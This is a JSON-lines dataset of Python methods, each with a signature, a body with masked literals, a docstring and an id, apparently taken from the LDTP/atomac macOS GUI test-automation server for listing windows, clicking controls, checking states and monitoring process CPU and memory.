{"signature": "def getapplist(self):", "body": "app_list = []<EOL>self._update_apps()<EOL>for gui in self._running_apps:<EOL><INDENT>name = gui.localizedName()<EOL>try:<EOL><INDENT>name = unicode(name)<EOL><DEDENT>except NameError:<EOL><INDENT>name = str(name)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>pass<EOL><DEDENT>app_list.append(name)<EOL><DEDENT>return list(set(app_list))<EOL>", "docstring": "Get all accessibility application name that are currently running\n\n@return: list of appliction name of string type on success.\n@rtype: list", "id": "f10327:c0:m3"}
{"signature": "def getwindowlist(self):", "body": "return self._get_windows(True).keys()<EOL>", "docstring": "Get all accessibility window that are currently open\n\n@return: list of window names in LDTP format of string type on success.\n@rtype: list", "id": "f10327:c0:m4"}
{"signature": "def isalive(self):", "body": "return True<EOL>", "docstring": "Client will use this to verify whether the server instance is alive or not.\n\n@return: True on success.\n@rtype: boolean", "id": "f10327:c0:m5"}
{"signature": "def poll_events(self):", "body": "if not self._callback_event:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return self._callback_event.pop()<EOL>", "docstring": "Poll for any registered events or window create events\n\n@return: window name\n@rtype: string", "id": "f10327:c0:m6"}
{"signature": "def getlastlog(self):", "body": "if not self._custom_logger.log_events:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return self._custom_logger.log_events.pop()<EOL>", "docstring": "Returns one line of log at any time, if any available, else empty string\n\n@return: log as string\n@rtype: string", "id": "f10327:c0:m7"}
{"signature": "def startprocessmonitor(self, process_name, interval=<NUM_LIT:2>):", "body": "if process_name in self._process_stats:<EOL><INDENT>self._process_stats[process_name].stop()<EOL><DEDENT>self._process_stats[process_name] = ProcessStats(process_name, interval)<EOL>self._process_stats[process_name].start()<EOL>return <NUM_LIT:1><EOL>", "docstring": "Start memory and CPU monitoring, with the time interval between\neach process scan\n\n@param process_name: Process name, ex: firefox-bin.\n@type process_name: string\n@param interval: Time interval between each process scan\n@type interval: double\n\n@return: 1 on success\n@rtype: integer", "id": "f10327:c0:m8"}
{"signature": "def stopprocessmonitor(self, process_name):", "body": "if process_name in self._process_stats:<EOL><INDENT>self._process_stats[process_name].stop()<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Stop memory and CPU monitoring\n\n@param process_name: Process name, ex: firefox-bin.\n@type process_name: string\n\n@return: 1 on success\n@rtype: integer", "id": "f10327:c0:m9"}
{"signature": "def getcpustat(self, process_name):", "body": "<EOL>_stat_inst = ProcessStats(process_name)<EOL>_stat_list = []<EOL>for p in _stat_inst.get_cpu_memory_stat():<EOL><INDENT>try:<EOL><INDENT>_stat_list.append(p.get_cpu_percent())<EOL><DEDENT>except psutil.AccessDenied:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return _stat_list<EOL>", "docstring": "get CPU stat for the give process name\n\n@param process_name: Process name, ex: firefox-bin.\n@type process_name: string\n\n@return: cpu stat list on success, else empty list\n        If same process name, running multiple instance,\n        get the stat of all the process CPU usage\n@rtype: list", "id": "f10327:c0:m10"}
{"signature": "def getmemorystat(self, process_name):", "body": "<EOL>_stat_inst = ProcessStats(process_name)<EOL>_stat_list = []<EOL>for p in _stat_inst.get_cpu_memory_stat():<EOL><INDENT>try:<EOL><INDENT>_stat_list.append(round(p.get_memory_percent(), <NUM_LIT:2>))<EOL><DEDENT>except psutil.AccessDenied:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return _stat_list<EOL>", "docstring": "get memory stat\n\n@param process_name: Process name, ex: firefox-bin.\n@type process_name: string\n\n@return: memory stat list on success, else empty list\n        If same process name, running multiple instance,\n        get the stat of all the process memory usage\n@rtype: list", "id": "f10327:c0:m11"}
{"signature": "def getobjectlist(self, window_name):", "body": "try:<EOL><INDENT>window_handle, name, app = self._get_window_handle(window_name, True)<EOL>object_list = self._get_appmap(window_handle, name, True)<EOL><DEDENT>except atomac._a11y.ErrorInvalidUIElement:<EOL><INDENT>self._windows = {}<EOL>window_handle, name, app = self._get_window_handle(window_name, True)<EOL>object_list = self._get_appmap(window_handle, name, True)<EOL><DEDENT>return object_list.keys()<EOL>", "docstring": "Get list of items in given GUI.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: list of items in LDTP naming convention.\n@rtype: list", "id": "f10327:c0:m12"}
{"signature": "def getobjectinfo(self, window_name, object_name):", "body": "try:<EOL><INDENT>obj_info = self._get_object_map(window_name, object_name,<EOL>wait_for_object=False)<EOL><DEDENT>except atomac._a11y.ErrorInvalidUIElement:<EOL><INDENT>self._windows = {}<EOL>obj_info = self._get_object_map(window_name, object_name,<EOL>wait_for_object=False)<EOL><DEDENT>props = []<EOL>if obj_info:<EOL><INDENT>for obj_prop in obj_info.keys():<EOL><INDENT>if not obj_info[obj_prop] or obj_prop == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>props.append(obj_prop)<EOL><DEDENT><DEDENT>return props<EOL>", "docstring": "Get object properties.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: list of properties\n@rtype: list", "id": "f10327:c0:m13"}
{"signature": "def getobjectproperty(self, window_name, object_name, prop):", "body": "try:<EOL><INDENT>obj_info = self._get_object_map(window_name, object_name,<EOL>wait_for_object=False)<EOL><DEDENT>except atomac._a11y.ErrorInvalidUIElement:<EOL><INDENT>self._windows = {}<EOL>obj_info = self._get_object_map(window_name, object_name,<EOL>wait_for_object=False)<EOL><DEDENT>if obj_info and prop != \"<STR_LIT>\" and prop in obj_info:<EOL><INDENT>if prop == \"<STR_LIT:class>\":<EOL><INDENT>return ldtp_class_type.get(obj_info[prop], obj_info[prop])<EOL><DEDENT>else:<EOL><INDENT>return obj_info[prop]<EOL><DEDENT><DEDENT>raise LdtpServerException('<STR_LIT>' %(prop, object_name))<EOL>", "docstring": "Get object property value.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param prop: property name.\n@type prop: string\n\n@return: property\n@rtype: string", "id": "f10327:c0:m14"}
{"signature": "def getchild(self, window_name, child_name='<STR_LIT>', role='<STR_LIT>', parent='<STR_LIT>'):", "body": "matches = []<EOL>if role:<EOL><INDENT>role = re.sub('<STR_LIT:U+0020>', '<STR_LIT:_>', role)<EOL><DEDENT>self._windows = {}<EOL>if parent and (child_name or role):<EOL><INDENT>_window_handle, _window_name =self._get_window_handle(window_name)[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>if not _window_handle:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' %window_name)<EOL><DEDENT>appmap = self._get_appmap(_window_handle, _window_name)<EOL>obj = self._get_object_map(window_name, parent)<EOL>def _get_all_children_under_obj(obj, child_list):<EOL><INDENT>if role and obj['<STR_LIT:class>'] == role:<EOL><INDENT>child_list.append(obj['<STR_LIT:label>'])<EOL><DEDENT>elif child_name and self._match_name_to_appmap(child_name, obj):<EOL><INDENT>child_list.append(obj['<STR_LIT:label>'])<EOL><DEDENT>if obj:<EOL><INDENT>children = obj['<STR_LIT>']<EOL><DEDENT>if not children:<EOL><INDENT>return child_list<EOL><DEDENT>for child in children.split():<EOL><INDENT>return _get_all_children_under_obj(appmap[child],<EOL>child_list)<EOL><DEDENT><DEDENT>matches = _get_all_children_under_obj(obj, [])<EOL>if not matches:<EOL><INDENT>if child_name:<EOL><INDENT>_name = '<STR_LIT>' % child_name<EOL><DEDENT>if role:<EOL><INDENT>_role = '<STR_LIT>' % role<EOL><DEDENT>if parent:<EOL><INDENT>_parent = '<STR_LIT>' % parent<EOL><DEDENT>exception = '<STR_LIT>' % (_name, _role, _parent)<EOL>raise LdtpServerException(exception)<EOL><DEDENT>return matches<EOL><DEDENT>_window_handle, _window_name =self._get_window_handle(window_name)[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>if not _window_handle:<EOL><INDENT>raise LdtpServerException('<STR_LIT>' %window_name)<EOL><DEDENT>appmap = self._get_appmap(_window_handle, _window_name)<EOL>for name in appmap.keys():<EOL><INDENT>obj = appmap[name]<EOL>if role and not child_name and obj['<STR_LIT:class>'] == role:<EOL><INDENT>matches.append(name)<EOL><DEDENT>if parent and child_name and not role andself._match_name_to_appmap(parent, obj):<EOL><INDENT>matches.append(name)<EOL><DEDENT>if child_name and not role andself._match_name_to_appmap(child_name, obj):<EOL><INDENT>return name<EOL>matches.append(name)<EOL><DEDENT>if role and child_name and obj['<STR_LIT:class>'] == role andself._match_name_to_appmap(child_name, obj):<EOL><INDENT>matches.append(name)<EOL><DEDENT><DEDENT>if not matches:<EOL><INDENT>_name = '<STR_LIT>'<EOL>_role = '<STR_LIT>'<EOL>_parent = '<STR_LIT>'<EOL>if child_name:<EOL><INDENT>_name = '<STR_LIT>' % child_name<EOL><DEDENT>if role:<EOL><INDENT>_role = '<STR_LIT>' % role<EOL><DEDENT>if parent:<EOL><INDENT>_parent = '<STR_LIT>' % parent<EOL><DEDENT>exception = '<STR_LIT>' % (_name, _role, _parent)<EOL>raise LdtpServerException(exception)<EOL><DEDENT>return matches<EOL>", "docstring": "Gets the list of object available in the window, which matches\ncomponent name or role name or both.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param child_name: Child name to search for.\n@type child_name: string\n@param role: role name to search for, or an empty string for wildcard.\n@type role: string\n@param parent: parent name to search for, or an empty string for wildcard.\n@type role: string\n@return: list of matched children names\n@rtype: list", "id": "f10327:c0:m15"}
{"signature": "def launchapp(self, cmd, args=[], delay=<NUM_LIT:0>, env=<NUM_LIT:1>, lang=\"<STR_LIT:C>\"):", "body": "try:<EOL><INDENT>atomac.NativeUIElement.launchAppByBundleId(cmd)<EOL>return <NUM_LIT:1><EOL><DEDENT>except RuntimeError:<EOL><INDENT>if atomac.NativeUIElement.launchAppByBundlePath(cmd, args):<EOL><INDENT>try:<EOL><INDENT>time.sleep(int(delay))<EOL><DEDENT>except ValueError:<EOL><INDENT>time.sleep(<NUM_LIT:5>)<EOL><DEDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % cmd)<EOL><DEDENT><DEDENT>", "docstring": "Launch application.\n\n@param cmd: Command line string to execute.\n@type cmd: string\n@param args: Arguments to the application\n@type args: list\n@param delay: Delay after the application is launched\n@type delay: int\n@param env: GNOME accessibility environment to be set or not\n@type env: int\n@param lang: Application language to be used\n@type lang: string\n\n@return: 1 on success\n@rtype: integer\n\n@raise LdtpServerException: When command fails", "id": "f10327:c0:m16"}
{"signature": "def wait(self, timeout=<NUM_LIT:5>):", "body": "time.sleep(timeout)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Wait a given amount of seconds.\n\n@param timeout: Wait timeout in seconds\n@type timeout: double\n\n@return: 1\n@rtype: integer", "id": "f10327:c0:m17"}
{"signature": "def closewindow(self, window_name):", "body": "return self._singleclick(window_name, \"<STR_LIT>\")<EOL>", "docstring": "Close window.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m18"}
{"signature": "def minimizewindow(self, window_name):", "body": "return self._singleclick(window_name, \"<STR_LIT>\")<EOL>", "docstring": "Minimize window.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m19"}
{"signature": "def maximizewindow(self, window_name):", "body": "return self._singleclick(window_name, \"<STR_LIT>\")<EOL>", "docstring": "Maximize window.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m20"}
{"signature": "def activatewindow(self, window_name):", "body": "window_handle = self._get_window_handle(window_name)<EOL>self._grabfocus(window_handle)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Activate window.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m21"}
{"signature": "def click(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>size = self._getobjectsize(object_handle)<EOL>self._grabfocus(object_handle)<EOL>self.wait(<NUM_LIT:0.5>)<EOL>self.generatemouseevent(size[<NUM_LIT:0>] + size[<NUM_LIT:2>] / <NUM_LIT:2>, size[<NUM_LIT:1>] + size[<NUM_LIT:3>] / <NUM_LIT:2>, \"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL>", "docstring": "Click item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m22"}
{"signature": "def getallstates(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>_obj_states = []<EOL>if object_handle.AXEnabled:<EOL><INDENT>_obj_states.append(\"<STR_LIT>\")<EOL><DEDENT>if object_handle.AXFocused:<EOL><INDENT>_obj_states.append(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>if object_handle.AXFocused:<EOL><INDENT>_obj_states.append(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if re.match(\"<STR_LIT>\", object_handle.AXRole, re.M | re.U | re.L) orre.match(\"<STR_LIT>\", object_handle.AXRole,<EOL>re.M | re.U | re.L):<EOL><INDENT>if object_handle.AXValue:<EOL><INDENT>_obj_states.append(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return _obj_states<EOL>", "docstring": "Get all states of given object\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: list of string on success.\n@rtype: list", "id": "f10327:c0:m23"}
{"signature": "def hasstate(self, window_name, object_name, state, guiTimeOut=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>return int(object_handle.AXEnabled)<EOL><DEDENT>elif state == \"<STR_LIT>\":<EOL><INDENT>return int(object_handle.AXFocused)<EOL><DEDENT>elif state == \"<STR_LIT>\":<EOL><INDENT>return int(object_handle.AXFocused)<EOL><DEDENT>elif state == \"<STR_LIT>\":<EOL><INDENT>if re.match(\"<STR_LIT>\", object_handle.AXRole,<EOL>re.M | re.U | re.L) orre.match(\"<STR_LIT>\", object_handle.AXRole,<EOL>re.M | re.U | re.L):<EOL><INDENT>if object_handle.AXValue:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "has state\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@type window_name: string\n@param state: State of the current object.\n@type object_name: string\n@param guiTimeOut: Wait timeout in seconds\n@type guiTimeOut: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m24"}
{"signature": "def getobjectsize(self, window_name, object_name=None):", "body": "if not object_name:<EOL><INDENT>handle, name, app = self._get_window_handle(window_name)<EOL><DEDENT>else:<EOL><INDENT>handle = self._get_object_handle(window_name, object_name)<EOL><DEDENT>return self._getobjectsize(handle)<EOL>", "docstring": "Get object size\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: x, y, width, height on success.\n@rtype: list", "id": "f10327:c0:m25"}
{"signature": "def getwindowsize(self, window_name):", "body": "return self.getobjectsize(window_name)<EOL>", "docstring": "Get window size.\n\n@param window_name: Window name to get size of.\n@type window_name: string\n\n@return: list of dimensions [x, y, w, h]\n@rtype: list", "id": "f10327:c0:m26"}
{"signature": "def grabfocus(self, window_name, object_name=None):", "body": "if not object_name:<EOL><INDENT>handle, name, app = self._get_window_handle(window_name)<EOL><DEDENT>else:<EOL><INDENT>handle = self._get_object_handle(window_name, object_name)<EOL><DEDENT>return self._grabfocus(handle)<EOL>", "docstring": "Grab focus.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m27"}
{"signature": "def guiexist(self, window_name, object_name=None):", "body": "try:<EOL><INDENT>self._windows = {}<EOL>if not object_name:<EOL><INDENT>handle, name, app = self._get_window_handle(window_name, False)<EOL><DEDENT>else:<EOL><INDENT>handle = self._get_object_handle(window_name, object_name,<EOL>wait_for_object=False,<EOL>force_remap=True)<EOL><DEDENT>return <NUM_LIT:1><EOL><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Checks whether a window or component exists.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m28"}
{"signature": "def guitimeout(self, timeout):", "body": "self._window_timeout = timeout<EOL>return <NUM_LIT:1><EOL>", "docstring": "Change GUI timeout period, default 30 seconds.\n\n@param timeout: timeout in seconds\n@type timeout: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m29"}
{"signature": "def objtimeout(self, timeout):", "body": "self._obj_timeout = timeout<EOL>return <NUM_LIT:1><EOL>", "docstring": "Change object timeout period, default 5 seconds.\n\n@param timeout: timeout in seconds\n@type timeout: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m30"}
{"signature": "def waittillguiexist(self, window_name, object_name='<STR_LIT>',<EOL>guiTimeOut=<NUM_LIT:30>, state='<STR_LIT>'):", "body": "timeout = <NUM_LIT:0><EOL>while timeout < guiTimeOut:<EOL><INDENT>if self.guiexist(window_name, object_name):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL>timeout += <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Wait till a window or component exists.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param guiTimeOut: Wait timeout in seconds\n@type guiTimeOut: integer\n@param state: Object state used only when object_name is provided.\n@type object_name: string\n\n@return: 1 if GUI was found, 0 if not.\n@rtype: integer", "id": "f10327:c0:m31"}
{"signature": "def waittillguinotexist(self, window_name, object_name='<STR_LIT>', guiTimeOut=<NUM_LIT:30>):", "body": "timeout = <NUM_LIT:0><EOL>while timeout < guiTimeOut:<EOL><INDENT>if not self.guiexist(window_name, object_name):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL>timeout += <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Wait till a window does not exist.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param guiTimeOut: Wait timeout in seconds\n@type guiTimeOut: integer\n\n@return: 1 if GUI has gone away, 0 if not.\n@rtype: integer", "id": "f10327:c0:m32"}
{"signature": "def objectexist(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>return <NUM_LIT:1><EOL><DEDENT>except LdtpServerException:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Checks whether a window or component exists.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 if GUI was found, 0 if not.\n@rtype: integer", "id": "f10327:c0:m33"}
{"signature": "def stateenabled(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if object_handle.AXEnabled:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Check whether an object state is enabled or not\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10327:c0:m34"}
{"signature": "def check(self, window_name, object_name):", "body": "<EOL>object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>if object_handle.AXValue == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>self._grabfocus(object_handle)<EOL>x, y, width, height = self._getobjectsize(object_handle)<EOL>self.generatemouseevent(x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>, \"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL>", "docstring": "Check item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m35"}
{"signature": "def uncheck(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>if object_handle.AXValue == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>self._grabfocus(object_handle)<EOL>x, y, width, height = self._getobjectsize(object_handle)<EOL>self.generatemouseevent(x + width / <NUM_LIT:2>, y + height / <NUM_LIT:2>, \"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL>", "docstring": "Uncheck item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10327:c0:m36"}
{"signature": "def verifycheck(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name,<EOL>wait_for_object=False)<EOL>if object_handle.AXValue == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify check item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10327:c0:m37"}
{"signature": "def verifyuncheck(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name,<EOL>wait_for_object=False)<EOL>if object_handle.AXValue == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except LdtpServerException:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify uncheck item.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success 0 on failure.\n@rtype: integer", "id": "f10327:c0:m38"}
{"signature": "def getaccesskey(self, window_name, object_name):", "body": "<EOL>menu_handle = self._get_menu_handle(window_name, object_name)<EOL>key = menu_handle.AXMenuItemCmdChar<EOL>modifiers = menu_handle.AXMenuItemCmdModifiers<EOL>glpyh = menu_handle.AXMenuItemCmdGlyph<EOL>virtual_key = menu_handle.AXMenuItemCmdVirtualKey<EOL>modifiers_type = \"<STR_LIT>\"<EOL>if modifiers == <NUM_LIT:0>:<EOL><INDENT>modifiers_type = \"<STR_LIT>\"<EOL><DEDENT>elif modifiers == <NUM_LIT:1>:<EOL><INDENT>modifiers_type = \"<STR_LIT>\"<EOL><DEDENT>elif modifiers == <NUM_LIT:2>:<EOL><INDENT>modifiers_type = \"<STR_LIT>\"<EOL><DEDENT>elif modifiers == <NUM_LIT:3>:<EOL><INDENT>modifiers_type = \"<STR_LIT>\"<EOL><DEDENT>elif modifiers == <NUM_LIT:4>:<EOL><INDENT>modifiers_type = \"<STR_LIT>\"<EOL><DEDENT>elif modifiers == <NUM_LIT:6>:<EOL><INDENT>modifiers_type = \"<STR_LIT>\"<EOL><DEDENT>if virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>modifiers = \"<STR_LIT>\"<EOL>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>modifiers = \"<STR_LIT>\"<EOL>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>modifiers = \"<STR_LIT>\"<EOL>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>modifiers = \"<STR_LIT>\"<EOL>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT:100>:<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>elif virtual_key == <NUM_LIT> and glpyh == <NUM_LIT>:<EOL><INDENT>key = \"<STR_LIT>\"<EOL><DEDENT>if not key:<EOL><INDENT>raise LdtpServerException(\"<STR_LIT>\")<EOL><DEDENT>return modifiers_type + key<EOL>", "docstring": "Get access key of given object\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: access key in string format on success, else LdtpExecutionError on failure.\n@rtype: string", "id": "f10327:c0:m39"}
{"signature": "def __init__(self, appname, interval=<NUM_LIT:2>):", "body": "if not importPsUtil:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>threading.Thread.__init__(self)<EOL>self._appname = appname<EOL>self._interval = interval<EOL>self._stop = False<EOL>self.running = True<EOL>", "docstring": "Start memory and CPU monitoring, with the time interval between\neach process scan\n\n@param appname: Process name, ex: firefox-bin.\n@type appname: string\n@param interval: Time interval between each process scan\n@type interval: float", "id": "f10328:c1:m0"}
{"signature": "def _ldtpize_accessible(self, acc):", "body": "actual_role = self._get_role(acc)<EOL>label = self._get_title(acc)<EOL>if re.match(\"<STR_LIT>\", actual_role, re.M | re.U | re.L):<EOL><INDENT>strip = r\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>strip = r\"<STR_LIT>\"<EOL><DEDENT>if label:<EOL><INDENT>label = re.sub(strip, u\"<STR_LIT>\", label)<EOL><DEDENT>role = abbreviated_roles.get(actual_role, \"<STR_LIT>\")<EOL>if self._ldtp_debug and role == \"<STR_LIT>\":<EOL><INDENT>print(actual_role, acc)<EOL><DEDENT>return role, label<EOL>", "docstring": "Get LDTP format accessibile name\n\n@param acc: Accessible handle\n@type acc: object\n\n@return: object type, stripped object name (associated / direct),\n                associated label\n@rtype: tuple", "id": "f10328:c2:m8"}
{"signature": "def _glob_match(self, pattern, string):", "body": "<EOL>return bool(re.match(fnmatch.translate(pattern), string,<EOL>re.M | re.U | re.L))<EOL>", "docstring": "Match given string, by escaping regex characters", "id": "f10328:c2:m9"}
{"signature": "def __init__(self, data):", "body": "self._data = data<EOL>self._dummy_window = NativeUIElement()<EOL>_keyOp = KeyboardOp()<EOL>self._keyvalId = _keyOp.get_keyval_id(data)<EOL>if not self._keyvalId:<EOL><INDENT>raise LdtpServerException(\"<STR_LIT>\")<EOL><DEDENT>self._doCombo()<EOL>", "docstring": "@param data: data to type\n@type data: string", "id": "f10329:c2:m0"}
